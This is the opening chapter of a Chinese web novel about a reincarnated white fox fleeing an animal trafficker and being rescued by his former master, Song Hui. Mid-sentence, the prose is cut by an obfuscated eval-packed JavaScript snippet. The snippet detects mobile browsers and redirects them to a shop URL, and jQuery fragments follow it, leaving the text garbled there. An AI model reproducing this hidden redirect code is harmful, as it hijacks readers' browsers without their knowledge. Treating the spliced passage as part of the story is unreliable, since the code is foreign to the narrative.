1. 人狐重逢

作品:《漂亮小狐狸又被娇养了

    夜深人静,南漳市某小区。


    门卫室保安犯困打了个哈欠,余光瞥见对面草丛似乎有一道白影闪过。


    保安吓了一跳,立刻站起来问:“谁在那里?!”


    没有回应。


    他戴上眼镜重新看过去,盯了片刻,没有任何风吹草动。


    又眼花了。


    保安重新坐下,继续刷短视频。


    【注意看,这个正在偷窥的男人叫小帅……】


    小狐狸趴在草丛里,两只毛茸茸的妙脆角耳朵高高竖起。


    几分钟过去,除了短视频的声音没听见别的,小狐狸才缓缓吐出一口气,耳朵慢慢放下去,松弛地贴在两侧。


    “不是我说,走走你这身白毛真的扎眼了!”小狐狸旁边的小浣熊无语地吐槽同伴。


    刚才鬼鬼祟祟窜进小区草丛的其实还有一只小浣熊,但因为小浣熊一身灰黑毛,在夜里自带保护色buff,保安连它闪过去的残影都没看见。


    虽然这是一只圆滚滚的小浣熊。


    听到小浣熊这话,走走弱弱地反驳:“天生的我也没办法嘛。”


    他抬眸委屈地望过去,一双蓝眼睛湿漉漉的,特别惹熊怜爱。


    对着这么一张美颜暴击的狐脸,小浣熊哪里还说得出责备的话。


    它轻咳一声转移话题:“走吧走吧,抓紧时间!”


    走走“嘤”了一下,乖乖跟在小浣熊身后。


    一熊一狐躲在草丛后面,偷偷摸摸靠近七号楼外面的垃圾桶。


    小浣熊探出脑袋瞧了瞧周围,确定没人才走出来。


    “就这里了,翻吧。”小浣熊对走走说。


    这两个垃圾桶对嗅觉灵敏的动物而言,无异于生化武器。


    走走抬起一只前爪捂住鼻子,小步后退,狐脸写满了拒绝。


    “圈圈,我们真的要翻吗……”


    “你说呢?”圈圈同样忍受着恶臭,它瞥了眼走走的背,“定位器也没装我身上。”


    走走没话说了,狐眼一闭,心一横,随便挑了个垃圾桶先跳进去。


    他穿到这个世界已经三月有余。


    最初他并没有穿越的实感,以为这只是一场梦。


    毕竟,他明明没有等到宋洄的灵柩回京就被王八蛋毒死了。


    死之前的痛苦和悲伤还历历在目,他最后看见的画面是自己平时饮水的碗被踢下台阶,碎成了好几片。


    那个碗是宋洄亲自给他烧的,他的心爱之物。


    再次睁眼,他穿到了这个从没听过的新时代,身体也回到了幼年期。


    他漫无目的流浪了几天,快饿死的时候遇到了圈圈。


    圈圈因为车祸截了半只前爪,康复后没多久就被弃养了,变成了流浪熊。


    它是一只善良的小熊,分给他食物,带他觅食,教他怎么在这个世界活下来。


    如今,走走已经完全适应了这个时代,这里有很多他以前没见过的新奇事物。


    哪哪都好,就是没有宋洄。


    他被那个叫彪哥的动物贩子盯上是半个月前的事情。


    听圈圈说,彪哥在南漳的流浪动物圈子里名声很臭。


    他专门抓一些稀有的流浪动物卖给人类,比如蓝眼黑猫、雄性三花之类的,买家就算有虐待倾向,彪哥也照卖不误,他只认钱。


    不止一只小动物被彪哥抓住卖出去,没多久,尸体就出现在某个垃圾堆里。


    彪哥带人下笼子、用网套抓过他好几次,有圈圈这个老江湖在,他逃过了一劫又一劫。


    可惜人类的手段还是超出了动物的想象。


    上周他们被彪哥一伙追捕的时候,他被彪哥装上了定位器。


    定位器刷了强力粘合剂,牢牢地粘在他的背部,跟毛发缠在一起,他舔不到也够不着。


    圈圈试过帮他弄下来,可是不管是用爪子挠还是用牙咬,都不行,稍稍用力,毛发就扯着他的肉,疼得他眼泪啪嗒啪嗒掉。


    有了这个定位器,彪哥一伙对他的行踪了如指掌,圈圈带着他东躲西藏,一狐一熊每天过得苦不堪言。


    他们思来想去,这个定位器只能用剪刀连带着他被粘住的毛一起剪掉。


    于是,搞一把剪刀成了他们两个当下的首要任务。


    圈圈四处打听,好不容易在这个小区找到了门路。


    小区七号楼有一家私人发廊,发廊老板养了一只二哈,分享欲爆棚,每天狗嘴叭叭的。


    昨天,圈圈的熟猫听二哈说,它家主人今天会淘汰一匹不好使的剪刀,扔到楼下垃圾桶。


    得到消息,圈圈在楼下垃圾桶附近蹲守了一天,终于,功夫不负有心熊,一个小时前,那批剪刀被扔了。


    可惜当时有小孩子在楼下打闹,圈圈顾着躲人,再抬头,发廊老板都走远了,它没看到剪刀具体扔到了哪个桶里。


    圈圈立刻回窝叫上走走,一狐一熊摸黑来这里一起找。


    “翻到没?你哪边有吗?”


    “没有……呕,好臭……”


    “忍忍吧,快翻,还有两个桶呢!”


    “好……呕……我已经很……呕……努力、在翻了……呕——!”


    走走对恶臭的忍受达到极限,他跳出垃圾桶,在草丛边吐了出来。


    上一世有宋洄的疼爱,他是一只娇生惯养的狐,隔夜的水他都不喝,更别提翻垃圾桶了。


    一想到宋洄,走走又难过得想哭了。


    “你没事吧?”圈圈的声音从垃圾桶里传来。


    走走吸了吸鼻子,声音带哭腔:“没事……我能行。”


    他深呼一口气,憋住,准备再往垃圾桶里跳。


    “找到了!”


    垃圾桶里一顿叮铃咣啷,圈圈叼着一把剪刀跳出来,放在他面前,一脸神气:“还得是我吧。”


    走走眼睛一亮:“还得是你!”


    “谢谢你,圈圈。”


    “不客气,你是我罩的。”小熊脑袋仰得更高了。


    走走心里倍感温暖,他用脑袋去蹭圈圈的脸,咧开嘴角,发出软软的呼噜声。


    小狐狸身后的雪白大尾巴晃来晃去,扫得草丛的叶子簌簌作响。


    “圈圈最厉害了!”


    夸完,走走前肢向前伸展,爪垫舒张,身体拉长,脑门贴地,做了一个“膜拜”的动作。


    “参见翻垃圾大王,大王熊岁熊岁熊熊岁。”


    小狐狸声音绵软清润,语气崇拜又虔诚。


    圈圈:“……”


    要不是听清了翻垃圾三个字,它还以为自己变成纣王了。


    回窝的路上,一声惊雷炸响,豆大的雨点密集地落下,


    他们加快脚步,同时商量着明天去动物园找圈圈的好朋猴帮忙剪毛,那只猴以前在马戏团待过,会使剪刀。


    结果他们在窝附近又碰上了彪哥一伙。


    一熊一狐掉头就跑。


    “他对你是有多执着,打雷下雨都来抓!”圈圈一边跑一边吐槽。


    话音刚落,彪哥骑着电瓶车追上来,提前预判走走要到的位置挥出网兜。


    “小畜生,我看你这回往哪跑!”彪哥叼着烟,露出志在必得的笑容。


    “走走,小心!”


    圈圈使出全身力气把走走撞进人行道后面的草坪。


    网兜落下,它自己被困在了里面。


    “走走,往东边跑,那边有一个废弃墓地,彪哥最迷信了,他绝对不会深追!”


    “别管我,他们对我没兴趣,我脱身了就去找你!”


    “快跑啊走走!千万不要被抓到!!!”


    走走被圈圈的吨位撞得在半空中飞了几秒,落地滚了好几圈才重新站起来,整个狐恍恍惚惚,头上有一圈鸟在打转。


    他听见圈圈在身后声嘶力竭地喊,不敢耽误一点时间直奔东边,四条腿跑得乱七八糟。


    走走跑到墓地入口的时候,回头已经看不见彪哥一伙的身影了。


    他放慢脚步往里走。


    刚才光顾着逃命,不觉得附近有多阴森,现在细细打量,墓地里都是废弃的坟冢,时不时劈一道雷下来,感觉坟坑会随机刷新出阿飘。


    彪哥确实迷信没有深追,可是狐狐我也怕鬼啊!QAQ


    走走吓得浑身的毛都炸了,泪水包在眼睛里,强忍住才没往下掉。


    下一秒,走走踩到松动的土石。


    “嘤!”


    一瞬间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067047|195157||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,狐身下坠,他掉进了被雨水冲垮的旧坟坑里。


    几个石头跟着滚下来,砸断了小狐狸的后腿,大半个身子被碎石卡住。


    走走痛得发出惨叫,眼泪横流。


    他吃痛地仰起头,头顶只有一条缝,雨水沿着那条缝滴进来。


    被砸断的后腿剧痛不已,石头把他卡得死死的,一点挣脱的余地都没有。


    他除了向外呼叫什么都做不了。


    可是附近根本没活物吧。


    大晚上的,这么恶劣的天气,谁会来这种鬼地方。


    走走垂下头,无助地舔舐被碎石刮破的爪垫,眼泪不停地往下掉。


    空气中的血腥气越来越浓郁,走走知道自己伤得很重。


    运气好一点,他能等到圈圈来找他。


    运气不好,他会死在这里。


    真不甘心。


    上一世他没能见到宋洄最后一面就死了。


    这一世他连宋洄在哪里都不知道又要死了。


    难道他永远都见不到宋洄了吗……


    雨水和泪水同时砸到坑坑洼洼的碎石上,一滴两滴三滴……蓄成小水坑。


    伤口流血不止,走走逐渐没了舔舐伤口的力气,尾巴低垂,仅剩的求生本能驱使他发出断断续续的孱弱叫声。


    -


    送走今天最后一位客人,宋洄把摄影设备放回原处,锁上写真馆的大门,结束今天的兼职。


    下了公交,雨势依然没有减弱。


    宋洄撑着伞抄近道回福利院。


    这条近道会经过一个废弃墓地,平时他也不怎么走,今天下班太晚了,他想快点回去洗澡睡觉。


    路过墓地入口的时候,宋洄听见了疑似婴儿的哭声。


    他以为自己出现了幻听,走了两步,那个叫声又出现了。


    又有畜生父母把孩子扔墓地了?


    宋洄打开手机手电筒,沿着声音找过去。


    雷雨声太吵,宋洄花了一些时间才确定声音发出的具体位置——来自一个塌陷的坟坑下面。


    宋洄蹲下身,举着手机往里照。


    光柱穿过缝隙,他才看清困在里面的是什么。


    不是弃婴,而是一只漂亮的小狐狸。


    它大半个身体被石块压着,右后腿呈不自然扭曲状,白色皮毛上沾满了泥浆和血迹,只有脑袋还能勉强仰起。


    小狐狸通体雪白的毛,眼睛是极其罕见的蓝色,此刻氤氲雾气,盛满了泪水,双眸潋滟,楚楚可怜的模样。


    它泛着水光的眼睛被手电光照得眯起来,喉咙里发出低低的哀鸣,像求救,又像害怕。


    宋洄放下伞,他借着手电筒的光搬开石块,小心翼翼把小狐狸抱出来。


    或许是扯到了伤口,小狐狸一靠近他就激动地叫起来。


    不像之前痛苦的呜咽,倒像是着急得要说人话了。


    它用前爪死死抓住宋洄的袖口,爪子勾透了短袖的布料。


    宋洄试着调整姿势,小狐狸却发出更急促的叫声,两只前爪将他抓得更紧,生怕他离开。


    大概是应激了。宋洄心道。


    “别怕,我马上带去你医院。”宋洄笨拙地安抚了一句,拿起地上的伞,抱着小狐狸跑出墓地。


    小狐狸没有挣扎,只在他怀里不停地发抖。


    很冷吗?


    宋洄低头看了它一眼,对上一双泪眼朦胧的蓝色眼睛。


    他将小狐狸抱得更紧了些,想把体温传给它,同时加快脚步去路口打车。


    小狐狸很乖地窝在宋洄怀里,蓬松的大尾巴绕上他的手腕,尾巴尖摇来摇去,但叫声愈发哽咽。


    “宋洄。”


    走走一遍又一遍叫着宋洄的名字。


    重逢的喜悦让他控制不住摇尾巴。


    好想你。


    最喜欢你了。


    你真好,又来救我。


    尾巴给你玩。


    亲亲我。


    ……


    这些宋洄都听不懂。


    一声两声狐狸叫不觉得有什么,一直响就有亿点点吵了……


    纣王当年就好这口?


    宋洄皱了皱眉,喜静的人对这份聒噪实在有些吃不消。